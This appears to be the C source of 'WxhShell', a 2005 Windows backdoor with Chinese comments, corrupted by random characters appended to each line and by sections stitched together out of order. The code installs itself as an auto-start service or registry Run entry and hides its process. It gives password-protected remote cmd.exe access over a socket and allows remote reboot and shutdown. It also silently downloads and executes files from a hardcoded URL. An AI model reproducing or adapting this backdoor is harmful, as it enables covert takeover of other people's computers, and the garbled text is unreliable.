    if(Boot(SHUTDOWN)) \n$u)Xj~6^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -8; 7Sp1  
    else { dCE0$3'5  
    closesocket(wsh); I9/W;# *~  
    ExitThread(0); ?{/4b:ua  
    } / : L?~  
    break; wG~`[>y (  
    } i*|\KM?P  
  // 获取shell LCZ\4g05  
  case 's': { &|Bc7+/P  
    CmdShell(wsh); A#Iyb){Y  
    closesocket(wsh); ?ATOXy  
    ExitThread(0); W}m)cn3@  
    break; iL7DRQ1  
  } R9'b-5q  
  // 退出 Jy)KqdkX+  
  case 'x': { KV]X@7`@  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); &,}j #3<  
    CloseIt(wsh); JW{rA6?   
    break; q)Lu_6 mg  
    } Tu$f?  
  // 离开 WlB  
  case 'q': { b<a4'M  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); (pY 7J  
    closesocket(wsh); @Fluc,Il  
    WSACleanup();  `7 vHt`  
    exit(1); Ir {OheJ  
    break; ruc++@ J@  
        } xAK6pDp  
  } lt ^GvWg  
  } FoNSM$x  
2/?`J  
  // 提示信息 >OL3H$F  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /q<__N  
} &:/hrighH  
  } T V<'8 L  
fI{ESXU  
  return; tasIDoo+!J  
} G f,`  
IEXt:  
// shell模块句柄 '9S8}q  
int CmdShell(SOCKET sock) ! ='rc-E  
{ 'JCZ]pZ  
STARTUPINFO si; VXYK?Qc'  
ZeroMemory(&si,sizeof(si)); VRI0W`  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Jbjmv: db  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; j <Bkj/  
PROCESS_INFORMATION ProcessInfo; )we}6sE"  
char cmdline[]="cmd"; "/3 db[  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); A;*d}Xe&J  
  return 0; b:Wm8pp?  
} X WUWY  
/LvRP yj@  
// 自身启动模式 N"" BCh"  
int StartFromService(void) N.\- 8?>  
{ {>R:vH 8  
typedef struct =osv3>&q  
{ &7`^i.fh)  
  DWORD ExitStatus; YpH&<$x:  
  DWORD PebBaseAddress; *QwY]j%^  
  DWORD AffinityMask; uW30ep'  
  DWORD BasePriority; .$qnZWcgG  
  ULONG UniqueProcessId; <R''oEf9  
  ULONG InheritedFromUniqueProcessId; F$ #U5}Q  
}   PROCESS_BASIC_INFORMATION; luo   
AfX}y+Ah  
PROCNTQSIP NtQueryInformationProcess; S<VSn}vn  
3on7~*  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; {zn!vJX  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; eM$sv9?  
[Jogt#Fj ]  
  HANDLE             hProcess; 0 vtt"f)Y[  
  PROCESS_BASIC_INFORMATION pbi; pm_`>3  
;5zz<;Zy  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Oy%''+g   
  if(NULL == hInst ) return 0; M-1ngI0H;  
fz\9 S  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); t"= E^r  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); [<%H>S1  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); bmfI~8  
' 0J1vG~c  
  if (!NtQueryInformationProcess) return 0; g]4(g<:O  
qAn!RkA  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); pi Z[Y 5OE  
  if(!hProcess) return 0; MCS8y+QK  
?AJKBW^  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 7* yzEM  
*~t6(v?  
  CloseHandle(hProcess); v.pBX<  
tn Pv70m  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); j6Yy6X]  
if(hProcess==NULL) return 0; LcUh;=r}&  
I1pWaQ0  
HMODULE hMod; aMtsmL?=  
char procName[255]; M_"L9^^>N  
unsigned long cbNeeded; L1cI`9  
Z Uox Mm  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); \6R,Nq  
ujlY! -GM  
  CloseHandle(hProcess); _H j!2 '  
Xs~[&  
if(strstr(procName,"services")) return 1; // 以服务启动 ;_rF;9z9  
,1[q^-9  
  return 0; // 注册表启动 x4E7X_  
} ldiD2 Q  
Fs9I7~L3  
// 主模块 "uaMk}[ <!  
int StartWxhshell(LPSTR lpCmdLine) nm6h%}xND<  
{ ~]nSSD)\  
  SOCKET wsl; ;1%-8f:lW  
BOOL val=TRUE; W3MU1gl6k{  
  int port=0; wE?'Cl  
  struct sockaddr_in door; KwPOO{4]g  
BW 4%l  
  if(wscfg.ws_autoins) Install(); 9{ >Ui  
.^h#_[dp  
port=atoi(lpCmdLine); U56G.  
G LIi6  
if(port<=0) port=wscfg.ws_port; aqj@Cjk4Z  
gk"$,\DI  
  WSADATA data; c_vqL$Dl  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; cc~O&?)i  
n=y[CKS  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;    %-c*C$  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); hw= Ft4L  
  door.sin_family = AF_INET; 3HcQ(+Z  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); nlW +.a[  
  door.sin_port = htons(port); 7ccO93Mz  
9f&C  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { >pp5;h8!  
closesocket(wsl); "nw;NIp!  
return 1; b[o"7^H  
} 6YGubH7%_  
6]W=nAD  
  if(listen(wsl,2) == INVALID_SOCKET) { BYVY)<v/  
closesocket(wsl); q,93nhs "  
return 1; *X+79vG:  
} }a/x._[s  
  Wxhshell(wsl); J&.{7YF  
  WSACleanup(); PIdikA  
? 4q4J8j  
return 0; ;[=8B \?  
Bq D'8zLD  
} Rb%8)t x  
auK?](U  
// 以NT服务方式启动 'VzP};  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) q|!-0B @  
{ e=B|==E10M  
DWORD   status = 0; 6L"%e!be6  
  DWORD   specificError = 0xfffffff; Z0Vl+  
|mGFts}0o'  
  serviceStatus.dwServiceType     = SERVICE_WIN32; A8uVK5  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; M%2+y5  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ?0v-qj+  
  serviceStatus.dwWin32ExitCode     = 0; NbgK@eV}+{  
  serviceStatus.dwServiceSpecificExitCode = 0; i{`FmrPO~  
  serviceStatus.dwCheckPoint       = 0; $a ]_w.@  
  serviceStatus.dwWaitHint       = 0; JM x>][xD  
pe]A5\4c  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 60J;sGW  
  if (hServiceStatusHandle==0) return; c'%-jG)\  
SYCEQ5 -  
status = GetLastError(); _B/ dWA,P  
  if (status!=NO_ERROR) >z%&xgOa  
{ ]n_ k`  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; GO` Ru 8  
    serviceStatus.dwCheckPoint       = 0; $\]&rZVi  
    serviceStatus.dwWaitHint       = 0; El.hu%#n*G  
    serviceStatus.dwWin32ExitCode     = status; C8Qa$._  
    serviceStatus.dwServiceSpecificExitCode = specificError; 2+QYhdw  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); i rU 6D  
    return; Y }$/e  
  } ow_W%I=6  
{2=jAz'?  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; A OISs4  
  serviceStatus.dwCheckPoint       = 0; mH%yGBp_  
  serviceStatus.dwWaitHint       = 0; = \'}g?  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); n `&/ D  
} ==3dEJS  
Tn*9lj4  
// 处理NT服务事件,比如:启动、停止 pWK(z[D  
VOID WINAPI NTServiceHandler(DWORD fdwControl) /& Jan:  
{ HCyv]LR  
switch(fdwControl) ts\5uiB<%  
{ >7I15U  
case SERVICE_CONTROL_STOP: 2R;}y7{  
  serviceStatus.dwWin32ExitCode = 0; @D{KdyW  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; PsnWWj?c  
  serviceStatus.dwCheckPoint   = 0; D^l%{IG   
  serviceStatus.dwWaitHint     = 0; $8 UUzk  
  { 3Z5D)zuc  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); j27?w<  
  } `j,Yb]~s79  
  return; x3 q]I8q  
case SERVICE_CONTROL_PAUSE: O_wEcJPE  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; OSs&r$  
  break; :Av#j@#  
case SERVICE_CONTROL_CONTINUE: ]s'Q_wh_-v  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; yeXx',]a  
  break; A mNW0.}  
case SERVICE_CONTROL_INTERROGATE: #gRM i)(F  
  break; l_o@miG/  
}; [DJ|`^eKD  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -I8=T]_D  
} K@I D/]PF  
#$18*?tLv|  
// 标准应用程序主函数 cAY:AtD  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) d:BG#\e]v  
{ Yw^m  
wSa)*]%  
// 获取操作系统版本 &dM. d!  
OsIsNt=GetOsVer(); A#.edVj.g4  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ,K)_OVB  
w_.F' E  
  // 从命令行安装 mq@6Q\Z+  
  if(strpbrk(lpCmdLine,"iI")) Install(); ii T"5`KY  
9oYgl1}d  
  // 下载执行文件 * @ 3Ag(  
if(wscfg.ws_downexe) { K#6P}tf  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) &J[:awQX  
  WinExec(wscfg.ws_filenam,SW_HIDE); "iy  
} %zG;Q@  
w65K[l;2  
if(!OsIsNt) { J]{QB^?  
// 如果时win9x,隐藏进程并且设置为注册表启动 ]^h]t~  
HideProc(); T|nDTezr  
StartWxhshell(lpCmdLine); z@!`:'ak  
} "W6uV!  
else OLyf8&AU@  
  if(StartFromService()) gG0!C))8  
  // 以服务方式启动 BXtCSfY $  
  StartServiceCtrlDispatcher(DispatchTable); b$N 2z  
else dP3CG8w5  
  // 普通方式启动 i3tg6o4C  
  StartWxhshell(lpCmdLine); |iakz|])  
Ag9vU7  
return 0; 7j@Hs[ *  
} t| g4m[kr  
f(/lLgI(  
6 Q%jA7  
8I lunJ  
=========================================== Gr*r=s  
 `=4r+  
BmbyH{4  
cqQ#p2<%  
o_XflzC  
.c8g:WB<  
" C'9Cr}cZ.  
arIf'CG6  
#include <stdio.h> a =J^  
#include <string.h> my(2;IJ#{  
#include <windows.h> J%u=Ucdh  
#include <winsock2.h> 0(eB ZdRO  
#include <winsvc.h> 2;k*@k-t  
#include <urlmon.h> ")SFi^]  
T1ut"Zu  
#pragma comment (lib, "Ws2_32.lib") KI)M JG:t  
#pragma comment (lib, "urlmon.lib") ;O,+2VzP%^  
7?#J~.d5  
#define MAX_USER   100 // 最大客户端连接数 5x5@t :  
#define BUF_SOCK   200 // sock buffer 3eb%OEMYk  
#define KEY_BUFF   255 // 输入 buffer Si_ _8D  
Z"/p,A9W9|  
#define REBOOT     0   // 重启 uZNTHD  
#define SHUTDOWN   1   // 关机 `g(Y*uCp  
6.sx?YYM  
#define DEF_PORT   5000 // 监听端口 CSJdvxb  
{#ZlM  
#define REG_LEN     16   // 注册表键长度 ]^yFaTfS  
#define SVC_LEN     80   // NT服务名长度 zwhe  
1Ir21un  
// 从dll定义API U>YAdrx2a  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); WffQ:L?  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); p*< 0"0  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ASKf '\,dV  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); `.E[}W  
K*%9)hq  
// wxhshell配置信息 g2BHHL;`  
struct WSCFG { F}F&T  
  int ws_port;         // 监听端口 Lf16j*}-Q  
  char ws_passstr[REG_LEN]; // 口令 Xnt~]k\"  
  int ws_autoins;       // 安装标记, 1=yes 0=no #jkf1"8C  
  char ws_regname[REG_LEN]; // 注册表键名 v&9y4\j  
  char ws_svcname[REG_LEN]; // 服务名 FtpK)9/4  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 I4'5P}1yp  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 )F}F_Y  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Lb!Fcf|h  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ?qP7Y nl  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" (/z_Q{"N  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 o2nv+fy W  
qU+t/C.  
}; VrHv)lUr  
m}C>ti`VD  
// default Wxhshell configuration B;M?,<%FRU  
struct WSCFG wscfg={DEF_PORT, bLB:MW\%  
    "xuhuanlingzhe", Jb0`42  
    1, tRs [ YK  
    "Wxhshell", p)jk>j B  
    "Wxhshell", rV2WnAb[H&  
            "WxhShell Service", :y+2*lV  
    "Wrsky Windows CmdShell Service", ]s]vZ  
    "Please Input Your Password: ", )P%ZA)l%_o  
  1, lG9bLiFY  
  "http://www.wrsky.com/wxhshell.exe", eX?OYDDC0j  
  "Wxhshell.exe" Tl%`P_J)-S  
    }; EMh7z7}Rr  
4QH3fTv   
// 消息定义模块 !02`t4Zc-  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ~Y`ldL  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ,`|3KE9  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; y<?kzt  
char *msg_ws_ext="\n\rExit."; 0g +7uGp:  
char *msg_ws_end="\n\rQuit."; l}a)ZeR1  
char *msg_ws_boot="\n\rReboot..."; Sxnpq Vbk  
char *msg_ws_poff="\n\rShutdown..."; n4s+>|\M  
char *msg_ws_down="\n\rSave to "; ./- 5R|fN  
P9GN}GN%v  
char *msg_ws_err="\n\rErr!"; -C;^ 3R[ O  
char *msg_ws_ok="\n\rOK!"; m!gz3u]rN  
wVX[)E\J  
char ExeFile[MAX_PATH]; 9{'N{  
int nUser = 0; aAZZ8V  
HANDLE handles[MAX_USER]; }{,^@xdyW  
int OsIsNt; FTX=Wyr  
n3T>QgK  
SERVICE_STATUS       serviceStatus; <Q3oT  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; RU'=ERYC  
?5+.`L9H  
// 函数声明 Cw iKi^m  
int Install(void); 1Lc#m`Jln  
int Uninstall(void); 6o!!=}'E[  
int DownloadFile(char *sURL, SOCKET wsh); p09HL%~R  
int Boot(int flag); 3r<~Q7e  
void HideProc(void); X@'u y<tI-  
int GetOsVer(void); (lXGmx8  
int Wxhshell(SOCKET wsl); A^nvp!_  
void TalkWithClient(void *cs); t=(!\:[D  
int CmdShell(SOCKET sock); cpe+XvBuK  
int StartFromService(void); Mz9 r5  
int StartWxhshell(LPSTR lpCmdLine); ~xbe~$$Q@  
%d 1,a$*3}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); tnV/xk#!  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); QHDXW1+|^  
,MdV;j ~"'  
// 数据结构和表定义 m.JBOq=  
SERVICE_TABLE_ENTRY DispatchTable[] = j5QuAU8  
{ .sxcCrQE  
{wscfg.ws_svcname, NTServiceMain}, O)C\v F#  
{NULL, NULL} "$~':) V"  
}; N"pc,Q\xU  
H~oail{EQ  
// 自我安装 xj<Rp|7&  
int Install(void) Um }  
{ OPetj.C/a  
  char svExeFile[MAX_PATH]; 2n,*Nd`  
  HKEY key; ~De"?  
  strcpy(svExeFile,ExeFile); +s"hqm  
,QOG!T4  
// 如果是win9x系统,修改注册表设为自启动 '@cANGg7[  
if(!OsIsNt) { kj|6iG  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2;[D;Y}  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); teOe#*  
  RegCloseKey(key); s6ZuM/Q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \n"{qfn`r  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); j>*S5y.{  
  RegCloseKey(key); =4vy@7/  
  return 0; iMt:9|yF}8  
    } pe0F0Ruy  
  } @:;)~V  
} _U$<xVnP  
else { efSM`!%j  
wJg1Y0nh  
// 如果是NT以上系统,安装为系统服务 W$QcDp]#p}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); [NQOrcAQ  
if (schSCManager!=0) +ylTGSZS  
{ PUz*!9HC  
  SC_HANDLE schService = CreateService ZufR {^W  
  ( OGBHos  
  schSCManager, 1da@3xaF  
  wscfg.ws_svcname, 3ovWwZ8&  
  wscfg.ws_svcdisp, ];}Wfl  
  SERVICE_ALL_ACCESS, Q;MT"=RW  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , t$ +?6E  
  SERVICE_AUTO_START, @M<|:Z %.@  
  SERVICE_ERROR_NORMAL, yTyj'-4  
  svExeFile, x9NEFtqjm  
  NULL, ".f ;+wH  
  NULL, xpNH?#&  
  NULL, u=Fv 2  
  NULL, Om\o#{D  
  NULL ylUb9KusOx  
  ); d]`CxI]  
  if (schService!=0) jy7\+i  
  { MtM%{=&_  
  CloseServiceHandle(schService); y9_V  
  CloseServiceHandle(schSCManager); ~aw.(A?MI  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Dw|}9;5:A  
  strcat(svExeFile,wscfg.ws_svcname); uzXCIv@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { iz5CAxm  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); '#! gh?  
  RegCloseKey(key); vrl;"Fm+  
  return 0; d[[]P X  
    } cD@(/$wt  
  } )W|w C#  
  CloseServiceHandle(schSCManager); -T!f,g3vW  
} ~"dA~[r L  
} 4pe'06:  
R FKtr  
return 1; YW-usvl&  
} J`^ag'  
2C2fGYu  
// 自我卸载 ,9?BcD1  
int Uninstall(void) <DpevoF  
{ >PB4L_1  
  HKEY key; <CRP ^_c  
&9/O!3p)  
if(!OsIsNt) { b>_o xK  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #1J &7F1  
  RegDeleteValue(key,wscfg.ws_regname); Yi .u"sh]  
  RegCloseKey(key); TP VVck-T8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { B! rTD5a  
  RegDeleteValue(key,wscfg.ws_regname); V zBqjE_  
  RegCloseKey(key); , l%C X.9  
  return 0; AUeu1(  
  } <m:m &I 8@  
} 7}1~%:6  
} ;sfb 4x4  
else { Rn#KfI:{  
7ByTnYe~S  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ( W a  
if (schSCManager!=0) DvME 1]7)  
{ "rTQG6`  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Q)"C&) `l  
  if (schService!=0) 0YaA`  
  { k $M]3}$U  
  if(DeleteService(schService)!=0) { Yj%U >),8  
  CloseServiceHandle(schService); n-5W*zk1  
  CloseServiceHandle(schSCManager); 'AzDP;6qFI  
  return 0; Y_}mYvJW  
  } uB |Ss  
  CloseServiceHandle(schService); m_hN*v Py  
  } r/& sub"X  
  CloseServiceHandle(schSCManager); $Vsk Ew"|M  
} sLh==V;9  
} t c[n&X  
W8Q|$ZJ88F  
return 1; ,PlO8;5]  
} syk!7zfK  
()tp>  
// 从指定url下载文件 DQMHOd7g  
int DownloadFile(char *sURL, SOCKET wsh) cQG +$0(  
{ ?/TSi0R  
  HRESULT hr; rJFc({ 0  
char seps[]= "/"; qNI, 62  
char *token; )q 0.0<f  
char *file; dlU'2Cl7d  
char myURL[MAX_PATH]; lW<PoT  
char myFILE[MAX_PATH]; |4 v0:ETb$  
AGH|"EWG  
strcpy(myURL,sURL); -<Hu!V`+  
  token=strtok(myURL,seps); C(S'#cm  
  while(token!=NULL) 1<+2kBuY  
  { kR]!Vr*yh  
    file=token; )=\# UE+W  
  token=strtok(NULL,seps); ktnuNsp  
  } m1n.g4Z&*  
W-Fu-Cz=  
GetCurrentDirectory(MAX_PATH,myFILE); ZPc@Zr`z  
strcat(myFILE, "\\"); }>)@WL:q  
strcat(myFILE, file); lJ+0P2@h*  
  send(wsh,myFILE,strlen(myFILE),0); x8!ol2\`<  
send(wsh,"...",3,0); ^BUYjq%(`  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); c;{Q,"9U  
  if(hr==S_OK) \2nUa ;  
return 0; Q F-LU  
else UUF ;p2{f  
return 1; 3VI4X  
Q s.pGi0W  
} [(o7$i29|%  
h\7fp.  
// 系统电源模块 ~)qtply  
int Boot(int flag) qud\K+  
{ GFfq+=se  
  HANDLE hToken; 1J6,]M  
  TOKEN_PRIVILEGES tkp; "oWwc zzO  
MepuIh  
  if(OsIsNt) { U`,0]"Qk  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); FW) x:2BG  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); m.px>v-  
    tkp.PrivilegeCount = 1; ^F2b hXE  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; iS&l8@2a  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); o[v\|Q`d  
if(flag==REBOOT) { OS4q5;1#  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) C|d\3S\(  
  return 0; -6Oz^  
} {D? 50Q  
else { 4&xZ]QC)O5  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))  DVah  
  return 0; AgOp.~*Z~V  
} 5~Cakd ]>  
  } I#m-g-J  
  else { Y7#-Fra0W  
if(flag==REBOOT) { WX}xmtLs  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) uum;q-"  
  return 0; F.-R r  
} ^Y u6w\QM  
else { nt;haeJ  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) S{FROC~1R  
  return 0; %YSpCI  
} t| 9 GS|  
} %)[+%57{  
Jg]'+>,J  
return 1; ( Fynok  
} QU%I43  
YX=2jI  
// win9x进程隐藏模块 BBH0OiV=  
void HideProc(void) +j(d| L\  
{ j=*l$RG  
cE`6uq7 p  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); AjJURn0`,!  
  if ( hKernel != NULL ) _<=S_ <$2  
  { "jTKSgv+q5  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); nL$x|}XAcj  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); :ml2.vP  
    FreeLibrary(hKernel); $e\h}A6  
  } 1z&Ly3  
cTD!B% x  
return; uC8L\UXk  
} CbPuoOl  
Oy<5>2^P  
// 获取操作系统版本 #VB')^d<U  
int GetOsVer(void) '" X_B0k  
{ !(n4|Wd  
  OSVERSIONINFO winfo; V[}4L| ad  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); >N;F8v  
  GetVersionEx(&winfo); Ypeiy `.  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) FP0G]=ME  
  return 1; {r> .G7P6  
  else {%VV\qaC  
  return 0; [zL7Q^~  
} 6ZKsz5:=  
JJltPGT~Oa  
// 客户端句柄模块 :(a]V"(&Eq  
int Wxhshell(SOCKET wsl) e1>aTu@  
{ e'*`.^  
  SOCKET wsh; yz-,)GB6  
  struct sockaddr_in client; b B  x?  
  DWORD myID; :Xn7Ha[f  
!ALKSiSl  
  while(nUser<MAX_USER) Yk'9U-.mc  
{ PzV@umC1#f  
  int nSize=sizeof(client); lz?;#U  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); &?uz`pv2  
  if(wsh==INVALID_SOCKET) return 1; DHw&+MY  
P y>{t4;S  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); `+zWu 55;  
if(handles[nUser]==0) >iOzl wmG  
  closesocket(wsh); 6*qL[m.F[o  
else y kW [B  
  nUser++; :9R=]#uD  
  } HJ2*y|u  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 21ppSN >  
}w/;){gu  
  return 0;  6\u!E~zy  
} h)6GaJ=  
*\wp?s>-t  
// 关闭 socket ZxG}ViS4I  
void CloseIt(SOCKET wsh) '8 fk+>M  
{ $`8Ar,Xz`  
closesocket(wsh); 7}GK%H-u  
nUser--; /^$UhX9v  
ExitThread(0); 5aBAr  
} A%Xt|=^_  
Fi. aC;sx  
// 客户端请求句柄 Ul_M3"Z  
void TalkWithClient(void *cs) 9U {y1}  
{ \":?xh_H  
E]J:~H'Er  
  SOCKET wsh=(SOCKET)cs; gP-nluq  
  char pwd[SVC_LEN]; 6vp *9  
  char cmd[KEY_BUFF]; n4R2^gXAw  
char chr[1]; t4q ej  
int i,j; l"{Sm6:;-  
X*g(q0N<S  
  while (nUser < MAX_USER) { >Jw6l0z  
qC_mu)6  
if(wscfg.ws_passstr) { 8 F2|  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 'lo  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); o7TN,([W  
  //ZeroMemory(pwd,KEY_BUFF); RQkyCAGx  
      i=0; $55U+)C<  
  while(i<SVC_LEN) { GyW.2  
dLvJh#`o  
  // 设置超时 < AI;6/  
  fd_set FdRead; [k[u*5hP|F  
  struct timeval TimeOut; ?!=iu!J  
  FD_ZERO(&FdRead); }C  /]  
  FD_SET(wsh,&FdRead); :^'O}2NP  
  TimeOut.tv_sec=8; b$Hz3T J(  
  TimeOut.tv_usec=0; xq %{}  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); BR v+.(S  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); `^(jm  
`k; KBW  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ZUp\Ep}  
  pwd=chr[0]; Y4F6qyP)"  
  if(chr[0]==0xd || chr[0]==0xa) { 1[E#vdbT  
  pwd=0; 4Hb $0l  
  break; '~ 4pl0TWc  
  } T"T;`y@(  
  i++; 1AHx"e,;L  
    } g7CXlT0Q6  
W%e_~$H0  
  // 如果是非法用户,关闭 socket Sf/q2/r?6[  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); x|0:P sE  
} #5&jt@NS  
.fzu"XAPu  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); cBYfXI0`  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Eq^uKi  
v8/6wy?  
while(1) { D -IR!js ]  
H^~.mBP n  
  ZeroMemory(cmd,KEY_BUFF); T#!lPH :&h  
' )-M\'S$E  
      // 自动支持客户端 telnet标准   pi5GxDA]  
  j=0; ~AG$5!  
  while(j<KEY_BUFF) { ]h!`IX  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); NQ|xM"MqD  
  cmd[j]=chr[0]; 3+xy4 G@L  
  if(chr[0]==0xa || chr[0]==0xd) { +'#oz+  
  cmd[j]=0; b[@V Ya  
  break; |<`.fOxJP  
  } }wwe}E-e  
  j++; \aP6_g:N}  
    } `7+j0kV)  
(QB+%2v  
  // 下载文件 tZ2K$!/B  
  if(strstr(cmd,"http://")) { 2 ?|gnbE:  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 0_yP\m  
  if(DownloadFile(cmd,wsh)) XM|%^ry  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); i3mAfDF  
  else b-@\R\T  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7S$&S;  
  } :XV} c(+d  
  else { 8I+d)(:  
K3mA XC,d  
